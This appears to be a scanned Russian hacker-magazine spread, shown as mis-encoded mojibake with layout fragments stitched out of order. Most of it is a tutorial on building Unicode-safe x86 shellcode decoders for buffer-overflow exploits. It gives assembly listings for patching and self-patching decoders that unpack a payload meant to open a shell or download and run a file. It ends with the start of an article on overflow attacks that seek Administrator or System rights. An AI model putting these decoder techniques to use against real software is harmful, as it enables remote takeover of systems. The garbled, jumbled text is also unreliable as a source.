ïðûæêîâ èëè âû÷èñëåíèé ñâîåé ïîçèöèè ìû ìàíèïóëèðóåì íåêîòî-
ðûìè ÷èñëàìè, à áûâàåò òàê, ÷òî íàì âàæíà èõ ïîçèöèÿ, êðàòíîñòü
àäðåñà êàêîìó ëèáî ÷èñëó è ò.ä. Â òàêèõ ñëó÷àÿõ â îáû÷íûõ shell-
êîäàõ èñïîëüçóþò nop�û. Íî â Unicode îíè èõ èñïîëüçîâàòü íåëüçÿ,
ïîýòîìó ïðèõîäèòüñÿ èñêàòü çàìåíèòåëè:
00 45 00 add byte ptr[ebp+0x0], al
04 00 add al,0x0
00 EC add ah, ch ; ecx = 0
Åñëè òåáÿ èíòåðåñóåò ïîëíûé ñïèñîê, òî òû ñìîæåøü íàéòè åãî ñà-
ìîñòîÿòåëüíî, ïðîàíàëèçèðîâàâ áàéò-êîäû äîïóñòèìûõ ê èñïîëü-
çîâàíèþ êîìàíä.

ÂÛÐÀÂÍÈÂÀÍÈÅ ÊÎÄÀ

Äëÿ îïåðà-
öèé âû÷è-
òàíèÿ äîñ-
òàòî÷íî äî-
áàâëÿòü
÷èñëà, êî-
òîðûå äàëü-
øå
0õ7FFFFFFF.

Ïðèíöèï ðàáîòû äåêîäåðà



Ìû ïðåäïîëàãàåì, ÷òî ïåðåïîëíÿå-
ìûé áóôåð íàõîäèòñÿ íà âåðøèíå
ñòåêà, ïîýòîìó eip = esp. ×òîáû íå ïè-
ñàòü âåñü shell-êîä â Unicode, òû ìî-
æåøü èñïîëüçîâàòü ñòàðûå çàãîòîâêè
ñòàíäàðòíûõ shell-êîäîâ. Ïðàâäà, ïîñ-
ëå êîíâåðòèðîâàíèÿ îíè ïåðåñòàíóò
ðàáîòàòü. Ïîýòîìó ñëåäóåò íàïèñàòü
äåêðèïòîð â Unicode òàê, ÷òîáû îí
ïðåâðàùàë ñâîþ âòîðóþ ÷àñòü (îñ-
íîâíîé shell-êîä) â íîðìàëüíûé âèä.
Äëÿ ýòîãî ñàìûì ýêîíîìíûì è ïðîñ-
òûì âàðèàíòîì áóäåò ñîçäàíèå àëãî-
ðèòìà äëÿ ñ÷èòûâàíèÿ 2 áàéò
(\õ00\õ[êîä]) èç ñòåêà è çàïèñè âòîðî-
ãî áàéòà â îáëàñòü ïàìÿòè, äîñòóïíóþ
äëÿ çàïèñè (ñì. ñêðèí �Ïðèíöèï
ðàáîòû äåêîäåðà�).

Ñõåìà ðåàëèçàöèè î÷åíü ïðîñòà, íî
äëÿ òîãî ÷òîáû íàïèñàòü òàêîé äåêî-
äåð â ñòàíäàðòíîì âèäå, òðåáóåòñÿ èñ-
ïîëíèòü ñëåäóþùèå êîìàíäû:

; ebx = 1
; eax = address of encoded shellcode
; esp = address for decoded shellcode
; ecx = length of shellcode
Decoder:
43 inc ebx 
8A 14 58 mov dl,byte ptr [eax+ebx*2] 
88 14 1C mov byte ptr [esp+ebx],dl 
E2 F7 loop Decoder

Êàê òû ìîæåøü çàìåòèòü, ýòî ìàëî
ïîõîæå íà Unicode-ôîðìàò. À âåäü äå-
êîäåð äîëæåí áûòü íàïèñàí òàê, ÷òî-
áû ïîñëå îáðàáîòêè îí ñòàë ðàáî÷èì.
Â òî æå âðåìÿ, åñëè åãî êîíâåðòèðî-
âàòü, òî ïîëó÷èòñÿ ñëåäóþùåå:

43 inc ebx 
00 8A 00 14 00 58 add byte ptr 

[edx+58001400h],cl 
00 88 00 14 00 1C add byte ptr 

[eax+1C001400h],cl 
00 E2 add dl,ah 
00 F7 add bh,dh

Ïîýòîìó íàäî ïîñòóïèòü èíà÷å. Íàø
äåêîäåð çàíèìàåò 8 áàéò: 

Code: 43 8A 14 58 88 14 1C E2 F7 - 0x08
bytes
Unicode: 43 00 8A 00 14 00 58 00 88 00 14
00 1C 00 E2 00 F7 - 0x10 bytes

Åñëè ïðîïóñòèòü â íåì êàæäûé âòî-
ðîé áàéò, òî ïîñëå ôîðìàòèðîâàíèÿ
îí áóäåò èìåòü ðàçìåð ðîâíî 8 áàéò ñ
îäíîé òîëüêî ðàçíèöåé, ÷òî êàæäûé
âòîðîé áàéò áóäåò íóëåâûì:

Code: 43 14 88 1C F7 - 0x05 bytes
Unicode: 43 00 14 00 88 00 1C 00 F7 -

0x08 bytes

Ïîñëå òàêèõ îïåðàöèé ìû ïîòåðÿëè
ðîâíî 4 áàéòà. Íà äàííîì ýòàïå äåê-
ðèïòîð íåëüçÿ íàçâàòü ðàáî÷èì. ×òî-
áû åãî ìîæíî áûëî èñïîëüçîâàòü,
ïðèäåòñÿ âñïîìíèòü î äîñòóïíûõ îïå-
ðàöèÿõ (ñîáëþäàÿ ôîðìàò), íàïðèìåð,
î ìîäèôèêàöèè ïàìÿòè (patching).
Äåéñòâèòåëüíî, åñëè òû çíàåøü ìåñ-
òîíàõîæäåíèå äåêîäåðà â ïàìÿòè, òî
ìîæåøü ëåãêî èçìåíèòü íóæíûå áàé-
òû. Â äàííîì ñëó÷àå íàäî ïîìåíÿòü
íóëè íà ñîîòâåòñòâóþùèå èõ ïîçèöè-
ÿì áàéòû â shell-êîäå:

Ñode :: 43 14 88 1C F7 - 0x05 bytes
Unicode: 43 00 14 00 88 00 1C 00 F7 - 0x08
bytes
Patch :: +8A +58 +14 +E2 
Decoded: 43 8A 14 58 88 14 1C E2 F7 - 0x08
bytes

Òàêèì îáðàçîì, ÷òîáû çàñòàâèòü äå-
êîäåð ðàáîòàòü, íàäî çàìåíèòü 4 áàé-
òà. Ñîãëàñíî ôîðìàòó, ýòó îïåðàöèþ
ìîæíî ïðîäåëàòü òàê:

; eax = address of decoder
40 inc eax 
00 45 00 add byte ptr [ebp],al 
40 inc eax 
00 45 00 add byte ptr [ebp],al 
C6 00 58 mov byte ptr [eax],0xXX
00 45 00 add byte ptr [ebp],al

Ïîÿñíþ, ÷òî äåëàåò ýòîò ôðàãìåíò
êîäà. Â ðåãèñòðå eax íàõîäèòñÿ àäðåñ
íåðàáî÷åãî äåêîäåðà, êîä êîòîðîãî
íåîáõîäèìî èçìåíèòü. Òàê êàê ïîñëå
ôîðìàòèðîâàíèÿ äåêîäåð èìååò íà
êàæäîé âòîðîé ïîçèöèè íóëè, òî íàì
íåîáõîäèìî âñåãäà ñìåùàòüñÿ íà äâà,
÷òîáû ïîïàäàòü íà òå ìåñòà â ïàìÿòè,
êîòîðûå òðåáóåòñÿ èçìåíèòü. Ïîñëå
äâîéíîãî èíêðåìåíòèðîâàíèÿ ðåãèñò-
ðà eax îí óêàçûâàåò íà íåêóþ îáëàñòü
ïàìÿòè. Åñëè òåïåðü âçãëÿíóòü íà
ìëàäøèé ðàçðÿä ÷èñëà, íà êîòîðîå
óêàçûâàåò eax, òî òàì áóäåò êàê ðàç
òîò íóëü, îò êîòîðîãî ñëåäóåò èçáà-
âèòüñÿ. Ïîýòîìó ñëåäóþùèì øàãîì
áóäåò çàïèñü òóäà íóæíîãî òåáå ÷èñ-
ëà. Ê ñîæàëåíèþ, ýòó ïðîöåäóðó íåëü-
çÿ âûíåñòè â öèêë, ïîòîìó ÷òî ëþáîé
öèêë (loop, loopnz, call è ò.ä.) òðåáóåò
óêàçàíèÿ ñìåùåíèÿ, íà êîòîðîå áóäåò
èäòè ïðûæîê, à Unicode òðåáóåò, ÷òî-
áû âòîðîé áàéò êîìàíäû áûë íóëå-
âûì. Ïîëó÷àåòñÿ, ÷òî òû âñå-òàêè ìî-
æåøü èñïîëüçîâàòü öèêëû, íî òîëüêî
íà îäèí áàéò âïåðåä. Îïåðàöèÿ add
byte ptr [ebp],al èñïîëüçóåòñÿ òîëüêî
äëÿ ïðèâåäåíèÿ shell-êîäà ê Unicode-
ôîðìàòó. Ãðàôè÷åñêè ìîäèôèêàöèÿ
äåêîäåðà ïîêàçàíà íà ñêðèíå
�Ïðîöåññ ïåðåïðîøèâêè äåêîäåðà�.

Îñòàëîñü îïðåäåëèòü àäðåñ, ïî êîòî-
ðîìó íàõîäèòñÿ äåêîäåð. Åñëè ó÷åñòü,
÷òî êîä èñïîëíÿåòñÿ â ñòåêå ïðèëîæå-
íèÿ, òî ïàò÷ ãäå-òî íà âåðøèíå ýòîãî
ñòåêà. Îòíîñèòåëüíî íåãî è äåëàþòñÿ
âñå ñìåùåíèÿ, òàê êàê îí íåèçìåííîãî
ðàçìåðà. Òî æå ñàìîå êàñàåòñÿ è äåêî-
äåðà. Åãî ðàçìåð èñïîëüçóåòñÿ äëÿ ïî-
èñêà îñíîâíîãî shell-êîäà (�main shell-
code�). Íî äëÿ íà÷àëà åãî ðàáîòû òåáå
íàäî çàíåñòè íàñòðîå÷íûå äàííûå â
ðåãèñòðû: eax � àäðåñ äåêîäåðà, eax �
àäðåñ shell-êîäà â ïàìÿòè, ecx � äëèíà
shell-êîäà, esp � àäðåñ äëÿ çàïèñè. 

Ïåðâûì äåëîì îïðåäåëèì àäðåñ äå-
êîäåðà â ïàìÿòè. Îí äîëæåí íàõî-
äèòüñÿ ãäå-òî ïîñëå ïàò÷à. Ïîýòîìó
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; PPatch ffor ddecoder
00 45 00      add byte ptr [ebp],al
C6 00 8A      mov byte [eax],0x8A
00 45 00      add byte ptr [ebp],al
40 inc eax
00 45 00      add byte ptr [ebp],al
40 inc eax
00 45 00      add byte ptr [ebp],al
C6 00 58      mov byte ptr byte [eax],0x58
00 45 00      add byte ptr [ebp],al
40                 inc eax
00 45 00       add byte ptr [ebp],al
40 inc eax
00 45 00       add byte ptr [ebp],al
C6 00 14        mov byte [eax],0x14
00 45 00       add byte ptr [ebp],al
40                 inc eax
00 45 00       add byte ptr [ebp],al
40                 inc eax
00 45 00       add byte ptr [ebp],al
C6 00 E2       mov byte [eax],0xE2
00 45 00       add byte ptr [ebp],al
40                 inc eax
00 45 00       add byte ptr [ebp],al

Íàñòðîéêè ääëÿ sshell-êêîäà:
40                 inc eax
00 45 00       add byte ptr [ebp],al
6A 00            push 0 
5B                 pop ebx 
00 45 00       add byte ptr [ebp],al 
43                 inc ebx 
00 45 00       add byte ptr [ebp],al 
50                 push eax 
00 45 00       add byte ptr [ebp],al 
5C                 pop esp 
00 45 00      add byte ptr [ebp],al 
6A 00           push 0 
00 45 00      add byte ptr [ebp],al 
59                pop ecx 
BA 00 34 00 FF mov edx,0FF003400h 
00 F1            add cl,dh
00 45 00      add byte ptr [ebp],al

ÏÀÒ× ÄËß ÄÅÊÎÄÅÐÀ È
ÍÀÑÒÐÎÉÊÈ

Ñòåê ìîæíî
èñïîëüçî-
âàòü äëÿ
ìîäèôèêà-
öèè ïàìÿòè
èëè ÷òåíèÿ
èç íåå. Ìà-
íèïóëèðóÿ
esp, ìîæíî
äåëàòü
ñäâèãè â
÷èñëàõ íà 1
áàéò �
î÷åíü óäîá-
íî, åñëè íà-
äî èçìåíèòü
çíà÷åíèå
ðåãèñòðà íà
íå
UnicodeDW-
ôîðìàò.

Íåò
ïðîáëåì è ñ
èíêðåìåíòà-
öèåé/äåêðå-
ìåíòàöèåé
r32
ðåãèñòðîâ.
40 inc eax 
48 dec eax

Ïðèíöèï ðàáîòû äåêîäåðà



ìîæíî äîïóñòèòü, ÷òî åãî ñìåùåíèå
áóäåò íå áîëüøå ÷åì 0õ7F áàéò. À
ïîñêîëüêó âåñü shell-êîä íàõîäèòñÿ â
íà÷àëå ñòåêà, òî íåñëîæíî çàïèñàòü â
eax åãî àäðåñ:

; GGet sstart oof sshellcode
54 push esp 
00 45 00 add byte ptr [ebp],al 
4C dec esp 
00 45 00 add byte ptr [ebp],al 
58 pop eax 
00 45 00 add byte ptr [ebp],al 
05 00 0F 00 01 add eax,1000F00h 
00 45 00 add byte ptr [ebp],al 
05 00 01 00 FF eax,0FF000100h 
00 45 00 add byte ptr [ebp],al 
50 push eax 
00 45 00 add byte ptr [ebp],al 
44 inc esp 
00 45 00 add byte ptr [ebp],al 
58 pop eax 

Çäåñü òû óêàçàë, ÷òî ñìåùåíèå ê äå-
êîäåðó 0õ10. Ýòî çíà÷åíèå òû èçìå-
íèøü, êîãäà óçíàåøü äëèíó âñåãî êî-
äà, êîòîðûé áóäåò íàõîäèòüñÿ ïåðåä
äåêîäåðîì. À òàì áóäóò ïàò÷ äëÿ äåêî-
äåðà è åãî íàñòðîéêè.

Òåïåðü òåáå èçâåñòíî, ÷òî âñå íàñò-
ðîéêè ê äåêîäåðó çàíèìàþò 0õ7D
áàéò. Ñëåäîâàòåëüíî, ìåíÿåøü â áëî-
êå ñòðîêó 05 00 0F 00 01 add
eax,1000F00h íà ñòðîêó 05 00 7Ñ 00
01 add eax,1007C00h. Òîãäà ñîáñòâåí-
íî ñàì äåêîäåð:

; BBad fformatted ddecoder
43 inc ebx 
14 88 adc al,88h 
1C F7 sbb al,0F7h

Ïîñëå äåêîäåðà èäåò shell-êîä, êî-
òîðûé áóäåò ðàñøèôðîâàí è èñïîë-
íåí. Ýòî ìîæåò áûòü êîä, îòêðûâàþ-
ùèé ïîðò äëÿ shell�à, èëè æå ñêà÷èâà-
íèå è çàïóñê ïðîèçâîëüíîãî ôàéëà.
Êîðî÷å, âñå ÷òî óãîäíî. Íî òàêîé
ïîäõîä ê íàïèñàíèþ shell-êîäà î÷åíü
ãðîìîçäêèé. Â ðåçóëüòàòå òû ïîëó-
÷èøü, ìÿãêî ãîâîðÿ, îãðîìíûé äåêî-
äåð. À ýòî íåèíòåðåñíî, òàê êàê â
áîëüøèíñòâå ñëó÷àåâ îáúåì shell-êî-
äà îãðàíè÷åí.

ÎÏÒÈÌÈÇÀÖÈß ÄÅÊÎÄÅÐÀ
×òîáû íåìíîãî óïðîñòèòü àëãî-

ðèòì, ìû â êà÷åñòâå àäðåñà äëÿ çà-

ïèñè äåêîäèðîâàííîãî shell-êîäà
âçÿëè àäðåñ ïðÿìî çà äåêîäåðîì.
Ýòî èçáàâèëî íàñ îò íåîáõîäèìîñòè
äåëàòü âûçîâû íà íåãî, ïîòîìó ÷òî
îí èñïîëíÿåòñÿ ñðàçó ïîñëå ðàñ-
øèôðîâêè. Ê òîìó æå, ìû íå äîëæíû
âûáèðàòü çàðàíåå îïðåäåëåííîå
ìåñòî äëÿ çàïèñè shell-êîäà, ÷òî äå-
ëàåò åãî áîëåå ïåðåíîñèìûì.

Íî äàâàé ïîïðîáóåì îïòèìèçèðî-
âàòü íàø shell-êîäà. Îáðàòè âíèìà-
íèå íà êîìàíäó A4 movs byte ptr
[edi],byte ptr [esi]. Îíà ïðåäíàçíà÷å-
íà äëÿ êîïèðîâàíèÿ áàéò èç àäðåñà
esi â edi. Êîìàíäà î÷åíü óäîáíà, åñ-
ëè ó÷åñòü, ÷òî åå îáúåì ñîñòàâëÿåò
âñåãî ëèøü îäèí áàéò. Âñïîìíè
ïðèíöèï ðàáîòû äåêîäåðà: îí êîïè-
ðóåò èç îäíîãî àäðåñà â äðóãîé,
ïðîñòî àäðåñ èñòî÷íèêà óâåëè÷èâà-
åòñÿ íà 2, à íå íà 1. Îïåðàöèÿ movs,
àâòîìàòè÷åñêè èíêðåìåíòèðóåò esi è
edi, ÷òîáû îáåñïå÷èòü êîïèðîâàíèå
ñòðîê â öèêëàõ. Íî åñëè ïîñëå íåå
äîïîëíèòåëüíî óâåëè÷èòü esi íà 1, òî
ïðèíöèï ðàáîòû ñòàíåò òàêèì æå,
êàê è ó äåêîäåðà! Âñòàâèâ ýòîò ïðî-
öåññ â öèêë, òû ïîëó÷èøü íàø äåêî-
äåð â Unicode:

Decoder:
A4 movs byte ptr [edi],byte ptr [esi] 
00 45 00 add byte ptr [ebp],al 
46 inc esi 
00 45 00 add byte ptr [ebp],al 
E2 F6 loop Decoder

Êîëè÷åñòâî èòåðàöèé çàâèñèò îò
çíà÷åíèÿ, çàíåñåííîãî â ecx (êàê è â
ïðîøëîì shell-êîäå), òî åñòü ecx � ýòî
äëèíà shell-êîäà. Â esi è edi äîëæåí
õðàíèòüñÿ àäðåñ íà÷àëà shell-êîäà.
Îñòàëñÿ îäèí âîïðîñ: êàêèì îáðàçîì
îðãàíèçîâàòü öèêë, âåäü îïåðàöèÿ
loop çàíèìàåò äâà îòëè÷íûõ îò íóëÿ
áàéòà? Ìîæíî îïÿòü ïàò÷èòü äåêî-
äåð, íî ýòî óâåëè÷èò ðàçìåð. Äàâàé
ñõèòðèì. Íàø äåêîäåð êîïèðóåò shell-
êîä, óäàëÿÿ èç íåãî íóëè, ïîýòîìó
ïîñëå äåêîäèðîâêè ðàáî÷èé shell-êîä

îêàæåòñÿ ïðÿìî çà äåêîäåðîì. Ìû íå
çàìêíåì öèêë äåêîäåðà è îñòàâèì
åãî â òàêîì âèäå:

Decoder:
A4 movs byte ptr [edi],byte ptr [esi] 
00 45 00 add byte ptr [ebp],al 
46 inc esi 
00 45 00 add byte ptr [ebp],al 
E2 00 loop Shellcode
Shellcode:

Òàêèì îáðàçîì, ïîñëå ïåðâîé èòåðà-
öèè óïðàâëåíèå ïåðåõîäèò íà shell-
êîä, ïîòîìó ÷òî esi è edi óêàçûâàþò
ïðÿìî íà íåãî. À ÷òî åñëè edi áóäåò
óêàçûâàòü íà îïåðàíä îïåðàöèè loop?
Òîãäà ïåðâûé áàéò shell-êîäà áóäåò çà-
ïèñàí îïåðàíäîì ê loop è ïîâëèÿåò íà
èñïîëíåíèå äåêîäåðà. Ïðè÷åì ïîâëè-
ÿåò ñðàçó ïðè ïåðâîé èòåðàöèè, òàê
êàê èñïîëíèòñÿ movs, êîòîðàÿ èçìå-
íèò loop. È õîä èñïîëíåíèÿ äåêîäåðà
â ýòîò ìîìåíò ìîæåò èçìåíèòüñÿ. Áî-
ëåå òîãî, åñëè ïåðâûé áàéò shell-êîäà
áóäåò 0xF6, òî öèêë çàìêíåòñÿ.

Çíà÷èò, ìîæíî ñäåëàòü äåêîäåð, êî-
òîðûé ïðîïàò÷èò ñàì ñåáÿ è òàêèì îá-
ðàçîì çàìêíåò öèêë ðàñøèôðîâêè
shell-êîäà. Äîñòàòî÷íî òîëüêî ïåðåä
äåêîäèðóåìûì shell-êîäîì óêàçàòü
ñìåùåíèå äëÿ ïðûæêà è ïîäïðàâèòü
ñòàðòîâûå íàñòðîéêè: ecx � äëèíà
shell-êîäà + 1, edi � àäðåñ îïåðàöèè
loop +1, esi � àäðåñ shell-êîäà.

Òàêèì îáðàçîì, íàì óäàëîñü íàïè-
ñàòü äåêîäåð äëÿ îñíîâíîãî shell-êî-
äà, óëîæèâøèñü âñåãî â 6 áàéò + íàñò-
ðîéêè äëÿ åãî ðàáîòû. ß äóìàþ, ýòî
íåïëîõîé ðåçóëüòàò :). 

ÔÎÐÌÀÒ UTF-8 È ÄÐÓÃÈÅ
×àñòî äàííûå êîíâåðòèðóþòñÿ íå

òîëüêî â Unicode, íî è â òàêèå ôîðìà-
òû, êàê UTF-4, UTF-8, UCS, EUC è ò.ä. Â
ýòîì ñëó÷àå ïîÿâëÿþòñÿ è äðóãèå îãðà-
íè÷åíèÿ, è íîâûå âîçìîæíîñòè. Æàëü,
÷òî îáúåì ñòàòüè íå ïîçâîëÿåò ðàññêà-
çàòü îá ýòîì ïîäðîáíî. Íî åñëè ýòà òå-
ìà êîãî-òî çàèíòåðåñóåò, òî ìû åùå ê
íåé âåðíåìñÿ. À íà ýòîì ïîêà âñå.  E
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Èíîãäà, åñ-
ëè òû ïåðå-
ïîëíÿåøü
äàííûå â
ïàìÿòè,
âåñüìà âîç-
ìîæíî, ÷òî
òû ïåðåçà-
ïèøåøü è
esp. Ìîæåò
áûòü è òàê,
÷òî ïåðå-
ïîëíåíèå
ïðîèñõîäèò
íå â ñòåêå.
Â òàêèõ
ñëó÷àÿõ òå-
áå ïðèäåòñÿ
ñàìîñòîÿ-
òåëüíî èñ-
êàòü ñâîå
ìåñòîïîëî-
æåíèå.

Ïðîöåññ ïåðåïðîøèâêè äåêîäåðà
Äåêîäåð ïàò÷èò ñàì ñåáÿ

Â ðåçóëüòàòå ìû ïîëó÷èëè î÷åíü ìàëåíüêèé äåêîäåð



Ãîëîâèí Âèòàëèé aka Vint (Vint@glstar.ru)

Â ÷åì ñîñòîèò ìåõàíèçì àòàê íà ïåðåïîëíåíèå áóôåðà? Êàê, èñïîëüçóÿ áàíàëüíóþ îøèáêó, ïîëó÷àþò óäàëåííûå
øåëëû ðóòà è àäìèíà äëÿ, êàçàëîñü áû, çàùèùåííûõ ñèñòåì Windows è *nix? Îòâåòû íàéäåøü íèæå. 

ÏËÀÒÔÎÐÌÀ.
OVERFLOW. ÂËÀÑÒÜ!
ÏÅÐÅÏÎËÍÅÍÈÅ ÁÓÔÅÐÀ Â ÑÈÑÒÅÌÀÕ WINDOWS È *NIX 

àìî ïåðåïîëíåíèå áó-
ôåðà â ïðîãðàììå íå
òàê ñòðàøíî. Ýòà îøèá-
êà - ëèøü äîñàäíàÿ îï-
ëîøíîñòü, ïîðîé íèêàê

íå âëèÿþùàÿ íà ðàáîòó ïðèëîæåíèÿ.
Ìàêñèìàëüíûé âðåä îò òàêîé îïëîø-
íîñòè - îñòàíîâêà ïðîöåññà ïðîãðàì-
ìû, äàìï ïàìÿòè íà âèí÷åñòåðå è âñå.
"È âñå-òàêè, ïî÷åìó îøèáêå ïåðåïîë-
íåíèÿ áóôåðà ïðèñâàèâàþò âûñîêèé,
à ÷àñòî äàæå êðèòè÷åñêèé ñòàòóñ?"-
ñïðîñèøü òû. Îòâåò ïðîñò: îøèáêà áå-
çîáèäíà òîëüêî äëÿ ñëó÷àåâ, êîãäà
ïåðåïîëíåíèå íå èñïîëüçóåòñÿ óìûø-
ëåííî, çàðàíåå ïîäãîòîâëåííûì è îò-
ëàæåííûì ìåòîäîì. Íàìåðåííîå ïåðå-
ïîëíåíèå áóôåðà ñèñòåìíîãî ïðîöåñ-
ñà íåñåò ãîëîâíóþ áîëü àäìèíàì è
ïîëüçîâàòåëÿì ;-). 

ÖÅËÜ ÄËß ÂÇËÎÌÀ
Äàëåêî íå êàæäîå ïåðåïîëíå-

íèå èíòåðåñóåò êðàêåðîâ è âèðìåé-
êåðîâ. Íàïðèìåð, èõ ïðàêòè÷åñêè íå
âîëíóþò îøèáêè ïðîãðàììèñòîâ â
ìàëîèñïîëüçóåìûõ ïðîãðàììàõ. Òà-
êèìè îøèáêàìè áóäóò çàíèìàòüñÿ
õàêåðû - äëÿ íèõ ýòî óäîâîëüñòâèå,
à íå ðàáîòà èëè ñïîñîá ïðîñëàâèòü-
ñÿ. Òàêæå íå ïðåäñòàâëÿþò îñîáîãî
èíòåðåñà ïåðåïîëíåíèÿ â ïðîãðàì-
ìàõ, êîòîðûå íå èìåþò ïîâûøåííûõ
ïðèâèëåãèé. Çäåñü äîñòàòî÷íî
âñïîìíèòü òåîðèþ ïåðåïîëíåíèÿ
áóôåðà: ó ïðîãðàììû ñ îøèáêîé
äîëæíû áûòü ïîâûøåííûå ïðèâè-
ëåãèè, êîòîðûå îíà è ïåðåäàñò àòà-
êóþùåìó, âûïîëíèâ îïðåäåëåííûé
êîä. Âûâîä: íàèáîëåå æåëàííû äëÿ
âçëîìùèêîâ ïåðåïîëíåíèÿ â ïðèâè-
ëåãèðîâàííûõ è ðàñïðîñòðàíåííûõ
ïðèëîæåíèÿõ. ×òî êàñàåòñÿ ðàñïðî-
ñòðàíåííîñòè, òî ÎÑ Windows ïîêà
ëèäèðóåò íà ðûíêå ïîëüçîâàòåëüñ-
êîãî ÏÎ, à *nix-ñèñòåìû ïðåîáëàäà-
þò íà ñåðâåðàõ. Èñõîäÿ èç òîãî, ãäå
íàéäåíà óÿçâèìîñòü, âçëîìùèê óæå
ìîæåò ïðåäñòàâèòü îáëàñòü ðàñïðî-
ñòðàíåíèÿ åãî êîäà. À âîò ñ âûñîêè-
ìè ïðèâèëåãèÿìè è ïðàâàìè óæå
âîçíèêàþò íåêîòîðûå ñëîæíîñòè.
Äëÿ òîãî ÷òîáû ïîíÿòü, êàêèå èìåí-
íî ïðîãðàììû èìåþò íåîáõîäèìûå

âîçìîæíîñòè, äàâàé ðàññìîòðèì ìî-
äåëü áåçîïàñíîñòè êàæäîé èç ÎÑ.

ÎÑ WINDOWS
Ýòî ñàìàÿ ðàñïðîñòðàíåííàÿ íà

ñåãîäíÿ ñèñòåìà. Î åå ãëþ÷íîñòè è
ñëàáîé ìîäåëè ïîëüçîâàòåëüñêèõ
ïðèâèëåãèé ãîâîðèòü íå áóäåì. Ïîêà-
æåì òîëüêî ðàñïðåäåëåíèå ïðèâèëå-
ãèé â ñèñòåìå. Íà íèçøåé ñòóïåíè èå-
ðàðõèè ÎÑ ñòîèò ó÷åòíàÿ çàïèñü
"Ãîñòü" ("Guest"). Îíà åñòü â ñèñòåìå
âñåãäà, åå ìîæíî òîëüêî çàáëîêèðî-
âàòü, íî íå óäàëèòü. ×àùå âñåãî ýòà
ó÷åòêà îòêëþ÷åíà è íå èìååò ïàðîëÿ.
Îíà ïðåäïîëàãàåò ìèíèìàëüíî âîç-
ìîæíûå ïðèâèëåãèè âî âñåé ñèñòåìå.
Ïðèëîæåíèÿ, çàïóùåííûå îò "Ãîñòü",
íå èíòåðåñóþò âçëîìùèêîâ. Îíè íè-
êîãäà íå ñòàíóò öåëüþ, íà êîòîðóþ áó-
äåò íàïðàâëåí ýêñïëîèò. 

Ñëåäóþùàÿ ñòóïåíü èåðàðõèè -
"Ïîëüçîâàòåëè" ("Users"). Ýòà ãðóïïà
óæå ìîæåò âõîäèòü â ñèñòåìó ñ òåð-
ìèíàëîâ, íî ïðàâà â íåé âñå åùå
î÷åíü îãðàíè÷åííû: íåò ïðàâà íà çà-
ïèñü â ñèñòåìíûå ôàéëû è ïàïêè.
Ãðóïïà "Ïîëüçîâàòåëè" îáúåäèíÿåò
âñåõ þçåðîâ ñèñòåìû, íå èìåþùèõ
àäìèíèñòðàòîðñêèõ ïðèâèëåãèé. Çàïó-
ùåííûå èìè ïðîãðàììû âñåãäà èìåþò

òîëüêî òå ïðàâà íà äîñòóï, êîòîðûå
äàíû ñàìîìó ïîëüçîâàòåëþ. Î÷åíü
ðåäêèå ýêñïëîèòû è âèðóñû èñïîëü-
çóþò ïåðåïîëíåíèÿ áóôåðà â "ïîëü-
çîâàòåëüñêèõ" ïðîãðàììàõ. Ó÷åòíûõ
çàïèñåé èç ãðóïïû "Ïîëüçîâàòåëè"
ìîæåò äàæå íå ñóùåñòâîâàòü. Ïîñ-
ëåäíèì äîñòóïíûì äëÿ èñïîëüçîâà-
íèÿ ÿâëÿåòñÿ óðîâåíü ãðóïïû "Àäìè-
íèñòðàòîðû" ("Administrators"). Ïîëó-
÷åíèå ïðàâ àäìèíèñòðàòîðà - îäíà èç
ñàìûõ æåëàííûõ öåëåé âçëîìùèêà.
Ýòà ó÷åòíàÿ çàïèñü ìîæåò âûïîëíÿòü
ïðàêòè÷åñêè âñå ôóíêöèè â ñèñòåìå.
Ïîëó÷èòü ïðèâèëåãèè óðîâíÿ ìîæíî
÷åðåç óÿçâèìîñòü â ïðîãðàììàõ, çà-
ïóùåííûõ àäìèíèñòðàòîðîì. Ýòî ÷à-
ùå âñåãî ïðèëîæåíèÿ ïîëüçîâà-
òåëüñêîãî ïëàíà (IE, ïî÷òîâàÿ ïðîã-
ðàììà, ïðîèãðûâàòåëè ìóçûêè-âèäåî
;-). Èìåííî ïîýòîìó íàñòîÿòåëüíî íå
ðåêîìåíäóåòñÿ ðàáîòàòü ïîä ó÷åòíîé
çàïèñüþ ñ ïðàâàìè àäìèíà. Íî, îêà-
çûâàåòñÿ, äîñòóï àäìèíà - íå ñàìûé
âûñîêèé â ñèñòåìå! Ìàêñèìàëüíûìè
ïðèâèëåãèÿìè îáëàäàåò "Ñèñòåìà"
("System") - ñàìàÿ æåëàííàÿ öåëü
âçëîìùèêà. Îñíîâíîå îòëè÷èå åå îò
ãðóïïû "Àäìèíèñòðàòîðû" - ó
"System" âîîáùå íåò îãðàíè÷åíèé íà
ïðîâîäèìûå â ÎÑ äåéñòâèÿ, òàê, íàï-
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Õàðàêòåð-
íàÿ ÷åðòà
äëÿ ïåðå-
ïîëíåíèÿ â
ÿäðå - åãî
ìîæíî èñ-
ïîëüçîâàòü
êàê ëîêàëü-
íî, òàê è
óäàëåííî.

Î÷åíü ìà-
ëîå êîëè÷å-
ñòâî äðàé-
âåðîâ ðàáî-
òàåò ñ ñîô-
òîì íàïðÿ-
ìóþ, ìèíóÿ
ôóíêöèè
ÎÑ, ÷òî ÿâ-
ëÿåòñÿ
ñåðüåçíûì
ïðåïÿòñòâè-
åì äëÿ
âçëîìùè-
êîâ.

Ñåðäöå àäìèíèñòðèðîâàíèÿ Âèíäîâ

ÏËÀÒÔÎÐÌÀ. OVERFLOW. ÂËÀÑÒÜ!60 ÐÅÀËÈÇÀÖÈß

Íîÿáðü 1988 ãîäà - âðåìÿ ïåðâîãî ñåòåâîãî âèðóñà-÷åðâÿ. Èìåí-
íî òîãäà ìèð íà÷àë îñîçíàâàòü âñþ îñòðîòó ïðîáëåìû ïåðåïîëíå-
íèÿ áóôåðà.



ðèìåð, òàêàÿ ïðîöåäóðà, êàê ñìåíà
ïàðîëÿ àäìèíà íà ýòèõ ó÷åòíûõ çàïè-
ñÿõ áóäåò ñóùåñòâåííî îòëè÷àòüñÿ.
Åñëè ó âçëîìùèêà òîëüêî ïðàâà àä-
ìèíà, åìó íóæíî áóäåò ñíà÷àëà ââåñ-
òè ñòàðûé ïàðîëü íà ó÷åòêó è òîëüêî
ïîòîì óñòàíîâèòü íîâûé; äëÿ ó÷åòíîé
çàïèñè "System" ââîäèòü ñòàðûé ïà-
ðîëü íå íóæíî. "System" - àíàëîãèÿ
root'a â *nix-ñèñòåìàõ. Ïîëó÷èòü ïðà-
âà ñèñòåìû íàìíîãî ñëîæíåå, íî âñå
